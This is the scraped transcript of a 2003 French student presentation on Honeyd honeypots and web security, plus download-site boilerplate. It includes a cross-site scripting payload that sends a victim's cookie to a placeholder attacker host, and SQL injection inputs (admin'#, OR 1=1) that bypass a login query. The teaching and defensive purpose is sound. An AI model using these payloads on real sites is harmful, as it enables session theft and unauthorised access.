1 / 20

Sécurité des systèmes d’information: Web Security & Honeypots

Sécurité des systèmes d’information: Web Security & Honeypots. Lloyd DIZON 11 décembre 2003 Transmission de données, EIG. Objectifs du diplôme/Plan de présentation. Honeypots. Honeyd Bait & Switch (BNS). Securité côté client. Contournement de validation javascript Vol de sessions HTTP

jereni
Download Presentation

Sécurité des systèmes d’information: Web Security & Honeypots

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Sécurité des systèmes d’information:Web Security & Honeypots Lloyd DIZON 11 décembre 2003 Transmission de données, EIG

  2. Objectifs du diplôme/Plan de présentation • Honeypots • Honeyd • Bait & Switch (BNS) • Securité côté client • Contournement de validation javascript • Vol de sessions HTTP • Cross-site scripting (XSS) • Sécurité plate-forme LAMP • Sécurisation des scripts PHP • Injection MySQL

  3. serveurs web vulnérables Microsoft IIS 5.0, Boa Web Server, Apache Server, web.sh boa_file_retrieval.sh negative_content.sh WIN NT/4 SP5 Linux noyau 2.4.16 Linux noyau 2.4.18 honeyd arpd Internet SuSE 8.0 hôte Honeypot Honeyd: définition • simulation d’architectures de systèmes • OS Fingerprinting • simulation des services • scripts shell

  4. Honeyd: arpd, fichier de configuration • honeyd.conf (démo 1) : #créer un chablon pour un serveur create serveur3 #définir personnalité set serveur3 personnality “Linux 2.4.18” #définir réaction par defaut sur port TCP fermé set serveur3 default tcp action reset #définir réaction par defaut sur port UDP fermé set serveur3 default udp action reset #paquets sur port 80 traités par web.sh add serveur3 tcp port 80 "sh script/http_negative_content.sh” #associer chablon à une adr. IP bind 10.1.2.93 serveur3

  5. Architecture interne de honeyd Fichier de configuration (honeyd.conf) 3 2 6 7 4 5 1 TCP 8 stdin 9 stdout Services 4 Gestion Gestion UDP (scripte de IP personnalité services) 2 ICMP 3 Honeyd: architecture interne 1 4 Internet

  6. Honeyd: gestion de personnalité • Empreinte pile réseau de NMAP: nmap.prints • Exemple tests: FIN  port ouvert Pas de réponse(RFC793-TCP)  RST(Windows) TCP ISN: • Unix: aléatoire • Windows: périodique • HUBs 3Com: constant

  7. Etat NORMAL Etat PANNE Répondre : Lire requête HTTP "HTTP/1.1 404 Not Found" oui Requête contient une Lire requête HTTP en-tête négative non Répondre : Répondre : "HTTP/1.1 500 Not Available" "HTTP/1.1 404 Not Found" Honeyd: script de service • http_negative_content.sh: • Comportement:

  8. Honeyd: démo (1)

  9. Problématique sécurité web Confiance aux entrées utilisateurs • Renvoi de code malicieux par un site web de confiance • Manipulation identificateurs de sessions/cookies • Validation des entrées du côté utilisateur avec du javascript

  10. Contournement devalidation javascript <form name="formulaire" method="POST" onSubmit="return validerFormulaire()"> <input type="text" name="email"> <input type="text" name="utilisateur"> <input type=submit value="Submit"> </form>

  11. Contournement de validation javascript (2) – démo 2

  12. Cross-site scripting • Envoi du code malicieux par un site web de confiance mais qui est vulnérable

  13. Formulaire web Cross site scripting (2) • Injection du code • Paramètres accéssibles dans URL http://siteweb.org/application?var1=valeur

  14. Code malicieux: • Balises HTML <object src="audio/vidéo/programme malicieux"> • Code javascript <a href="http://www.google.com" onMouseOver="document.location.replace(‘http://siteméchant/volercookie.cgi?c=’+document.cookie)"> Google.com </a> Cross site scripting (3)

  15. Envoi de document HTML contenant code malicieux • Par e-mail (forgé) • lorsque client consulte la page web altérée • Exploit • Web site defacing • Vol de cookies, identificateur de sessions Cross site scripting (4)

  16. V13 V12 Portable hacker Portable utilisateur guestbook.py: Utilisateur : Hacker : collect_cookie.py : donnercookie.py: Application Navigateur Navigateur Dépot: Application web web demande cookie envoi cookie test vulnérabilité injection du code javascript code injecté sauvegardé dans la base de donnée consulte le guestbook données du guestbook( +code injecté ) sur navigateur code injecté est interprété par le navigateur événement : onMouseOver exécution code injecté: envoie cookie sur le dépôt de cookie du hacker Cross site scripting (5) – démo 3

  17. script PHP: requête SQL: "SELECT id WHERE "SELECT id login=' $login ' AND BDD FROM membres pass=' $pass ' " MySQL WHERE données login='$login' AND pass='$pass'" $login, document $pass HTML requête POST: $login, $pass daemon web document HTML Client Serveur web Injection MySQL • Modification de la requête SQL utilisée par l’application écrite en PHP

  18. id login pass email user_level 1 admin 4dm1n admin@email.com 3 2 bob bob bob@email.com 1 • Table membres: 3 alice alice alice@email.com 1 • Requête SQL: SELECT id FROM membres WHERE nom='$login' AND pass='$pass' • Injection SQL: $login=admin’# SELECT id FROM membres WHERE nom='admin'#' AND pass='' • Requête SQL effectuée: SELECT id FROM membres WHERE nom='admin' Injection MySQL (2) – démo 4

  19. des expressions booléennes qui s’évalue à "vraie" SELECT id FROM members WHERE login='admin' OR 1=1' AND pass='' Injection MySQL (3) Modification des requêtes SQL: • des apostrophes ' • un caractère de commentaire # • une combinaison des expressions ci-dessus

  20. Conclusion • Honeypots : Honeyd  administration simple, comportement statique, honeypot à faible intéraction • Securité web : Clients web sous le risque  mauvaise conception des applications web (pas de filtrage et validation des entrées utilisateur – vulnérabilité n°1 des applications web selon OWASP)

More Related